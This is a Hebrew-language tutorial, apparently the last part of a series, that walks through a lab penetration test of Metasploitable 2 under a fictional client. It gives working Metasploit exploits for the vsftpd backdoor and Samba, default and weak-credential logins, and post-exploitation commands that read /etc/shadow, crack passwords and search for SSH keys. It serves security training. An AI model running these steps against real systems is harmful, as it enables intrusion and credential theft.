The Full Audit: A Complete Penetration Test from Start to Finish

הנתיב של ההאקר: סדרה בת 5 חלקים

חלק 1: מבוא ← חלק 2: שליטה ב-Flipper ← חלק 3: יסודות Kali ← חלק 4: ניצול ← חלק 5: הביקורת המלאה

התחלתם את הסדרה הזו בתהייה מה האקרים באמת עושים. למדתם שזה לא על קפוצ'ונים וטקסט ירוק. זו פתרון בעיות שיטתי. שיבטתם כרטיסים, מיפיתם רשתות, לכדתם handshakes והשגתם shells על מכונות פגיעות.

עכשיו אנחנו מחברים הכל. מאמר זה מוביל אתכם דרך בדיקת חדירה מלאה נגד מטרה פיקטיבית. כל שלב, כל החלטה, כל ממצא, מתועד בדיוק כפי שמקצוען היה עושה.

התרחיש

לקוח: Initech Labs (חברת טכנולוגיה קטנה פיקטיבית)

היקף: בדיקת חדירה לרשת פנימית

מטרה: זיהוי פגיעויות והדגמת השפעה עסקית פוטנציאלית

המטרה שלכם: רשת המעבדה שלכם (Kali + Metasploitable 2 + כל VM אחר שהגדרתם)

תכינו לעצמכם קפה. זה הולך להיות כיף.

שלב 1: טרום-התקשרות

לפני שנוגעים במקלדת, בודקי חדירה מקצועיים מטפלים בצד העסקי. דלגו על זה, ואתם לא בודק חדירה. אתם פשוט מישהו שמבצע עבירות.

שיחת תיחום

בהתקשרות אמיתית, תקיימו שיחה עם הלקוח כדי להבין:

מה בהיקף? אילו רשתות, טווחי IP, אפליקציות?
מה מחוץ להיקף? מערכות ייצור? שירותי צד שלישי?
חלון בדיקות? מתי אפשר לבדוק? רק בשעות עבודה?
אנשי קשר? למי מתקשרים אם משהו נשבר?
מטרות? עמידה בתקנות או שיפור אבטחה אמיתי?

למעבדה שלכם

היקף: רק רשת המעבדה המבודדת שלכם. מחוץ להיקף: כל דבר אחר. חלון בדיקות: מתי שרוצים. מטרה: ללמוד דרך עשייה.

כללי התקשרות

להתקשרויות אמיתיות יש כללים כתובים. הנה מה שהם בדרך כלל מכסים:

מכתב הרשאה - מסמך חתום שמוכיח שיש לכם אישור
נהלי הסלמה - מה לעשות אם מוצאים משהו קריטי
טיפול בנתונים - איך לטפל בנתונים רגישים שנתקלים בהם
דרישות ניקוי - הסרת כל הכלים ודלתות אחוריות בסיום
לוח זמנים לדוח - מתי הדוח הסופי צריך להיות מוכן?

תמיד השיגו אישור בכתב

גם לבדיקות "ידידותיות" ברשת של חבר. אימייל חתום שאומר "יש לך אישור לבדוק את הרשת שלי מתאריך עד תאריך" יכול להיות ההבדל בין חוויית למידה להרשעה פלילית. קחו את זה ברצינות.

שלב 2: סיור

הגיע הזמן ללמוד הכל על המטרה. בהתקשרות אמיתית, זה יכלול OSINT: חיפושי Google, פרופילי LinkedIn, אתרי חברה, רשומות DNS. למעבדה שלנו, אנחנו קופצים ישר לסיור אקטיבי.

צעד 1: גילוי רשת

שאלה ראשונה: מה יש ברשת הזו?

bash# מצאו את טווח הרשת שלכם
ip a | grep inet
# חפשו משהו כמו: inet 192.168.56.100/24

# גלו את כל ה-hosts הפעילים
sudo nmap -sn 192.168.56.0/24 -oA discovery

# תוצאות (דוגמה):
Nmap scan report for 192.168.56.1
Host is up (0.00032s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00089s latency).
Nmap scan report for 192.168.56.102
Host is up (0.00045s latency).

תעדו הכל. צרו פתק:

text# Initech Labs - גילוי רשת
# תאריך: 2026-03-08
# בודק: השם שלכם

192.168.56.1   - Gateway/Router
192.168.56.101 - לא ידוע (לחקירה)
192.168.56.102 - לא ידוע (לחקירה)

צעד 2: סריקת פורטים

עכשיו חופרים עמוק יותר. אילו שירותים רצים?

bash# סריקת פורטים מלאה עם זיהוי שירותים
sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101

# זה לוקח זמן. לתוצאות מהירות בזמן למידה:
sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101

ב-Metasploitable 2, תראו אוצר:

textPORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
80/tcp   open  http        Apache httpd 2.2.8
139/tcp  open  netbios-ssn Samba smbd 3.X
445/tcp  open  netbios-ssn Samba smbd 3.X
3306/tcp open  mysql       MySQL 5.0.51a
5432/tcp open  postgresql  PostgreSQL DB
...

איזו חשיפה. בואו נעדכן את הפתקים:

text192.168.56.101 - שרת Linux (Metasploitable)
  - FTP (21): vsftpd 2.3.4       # דלת אחורית ידועה!
  - SSH (22): OpenSSH 4.7p1      # עתיק
  - Telnet (23): פעיל             # למה זה קיים ב-2026?
  - HTTP (80): Apache 2.2.8      # אפליקציות וב לבדיקה
  - SMB (139/445): Samba 3.X     # מכרה זהב פוטנציאלי
  - MySQL (3306): 5.0.51a        # גישה לבסיס נתונים?
  - PostgreSQL (5432): פעיל      # בסיס נתונים נוסף

צעד 3: זיהוי פגיעויות

הגיע הזמן לראות מה באמת ניתן לנצל.

bash# הרצת סקריפטים של פגיעויות
sudo nmap --script vuln -oA vuln_scan 192.168.56.101

# בדיקת שירותים ספציפיים ב-Metasploit
msfconsole
msf6 > search vsftpd
msf6 > search samba 3
msf6 > search apache 2.2

הדלת האחורית של vsftpd 2.3.4 קופצת מיד לעין. זה shell מובטח. אבל בודק חדירה טוב לא עוצר בממצא הראשון. מתעדים הכל.

חדר שרתים עם ציוד רשת מהבהב — סיור יסודי ממפה את כל שטח ההתקפה לפני שיורים exploit בודד. כל פורט פתוח וגרסת שירות הופכים לנקודת מידע בהערכה שלכם.

שלב 3: ניצול

כאן הדברים נהיים מרגשים. יש לנו מספר נקודות כניסה פוטנציאליות. בואו נעבוד עליהן באופן שיטתי.

וקטור התקפה 1: דלת אחורית FTP

bashmsf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned
[+] Command shell session 1 opened

whoami
root

id
uid=0(root) gid=0(root)

ממצא מתועד: Root shell הושג דרך דלת אחורית FTP. זמן מהסריקה הראשונה עד פריצה מלאה: כ-10 דקות.

Root shell הושג דרך דלת אחורית FTP. זמן מהסריקה הראשונה עד פריצה מלאה: כ-10 דקות.

אבל אנחנו לא עוצרים כאן. למה עוד אפשר להגיע?

וקטור התקפה 2: Samba

bashbackground

msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

whoami
root

עוד root shell דרך וקטור שונה. שני נתיבים עצמאיים לפריצה מלאה.

וקטור התקפה 3: אפליקציות וב

בואו נראה מה רץ על פורט 80.

bashgobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt

# תוצאות:
/cgi-bin/     (Status: 403)
/dav/         (Status: 301)
/icons/       (Status: 301)
/index        (Status: 200)
/phpMyAdmin/  (Status: 301)
/phpinfo      (Status: 200)
/test/        (Status: 301)
/twiki/       (Status: 301)

nikto -h http://192.168.56.101

phpMyAdmin עם אישורי ברירת מחדל? בואו נבדוק:

textUsername: root
Password: (ריק)

# גישה אושרה!

גישת מנהל לבסיס נתונים ללא סיסמה. מכאן, נוכל לשאוב את כל הנתונים, לשנות רשומות או להשתמש בפעולות הקבצים של MySQL כדי לכתוב web shell.

וקטור התקפה 4: אישורי SSH חלשים

bashmsf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.56.101
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

אישורים חלשים מעניקים גישת SSH. לא root, אבל נטפל בזה בשלב הבא.

שלב 4: פוסט-ניצול

יש לנו גישה. ועכשיו מה? בדיקת חדירה אמיתית מדגימה השפעה עסקית. מה תוקף יכול באמת לעשות עם גישה זו?

קצירת אישורים

bashcat /etc/shadow
root:$1$xyz...truncated...:14889:0:99999:7:::
msfadmin:$1$abc...truncated...:14889:0:99999:7:::
user:$1$def...truncated...:14889:0:99999:7:::
postgres:$1$ghi...truncated...:14889:0:99999:7:::

cat /etc/passwd > /tmp/passwd.txt
cat /etc/shadow > /tmp/shadow.txt

unshadow passwd.txt shadow.txt > combined.txt
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt

סיור רשת (מבפנים)

bashifconfig
route -n
cat /etc/hosts
arp -a

netstat -tulpn
ss -tulpn

find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

גילוי נתונים רגישים

bashfind / -name "*.conf" 2>/dev/null | head -20
find / -name "*.sql" 2>/dev/null
find / -name "*.bak" 2>/dev/null
find / -name "*password*" 2>/dev/null

cat /var/www/*/config.php 2>/dev/null
cat /etc/mysql/my.cnf

mysql -u root -p
mysql> SHOW DATABASES;
mysql> SELECT * FROM mysql.user;

הסלמת הרשאות (מ-msfadmin)

זוכרים את כניסת ה-SSH כ-msfadmin? בואו נעלה ל-root באמצעות מה שלמדנו בחלק 4.

bashssh [email protected]

sudo -l

find / -perm -4000 2>/dev/null

cat /etc/crontab

מקצוען עובד עם כלי אבטחת סייבר — פוסט-ניצול מדגים השפעה עסקית אמיתית. ההבדל בין סריקת פגיעויות לבדיקת חדירה הוא הוכחה של מה שתוקף באמת יכול לעשות עם הגישה.

שלב 5: תיעוד וממצאים

הבדיקה חסרת ערך ללא דוח. זה מה שמפריד מקצוענים מ-script kiddies. צריך להסביר מה מצאתם, למה זה חשוב ואיך לתקן את זה.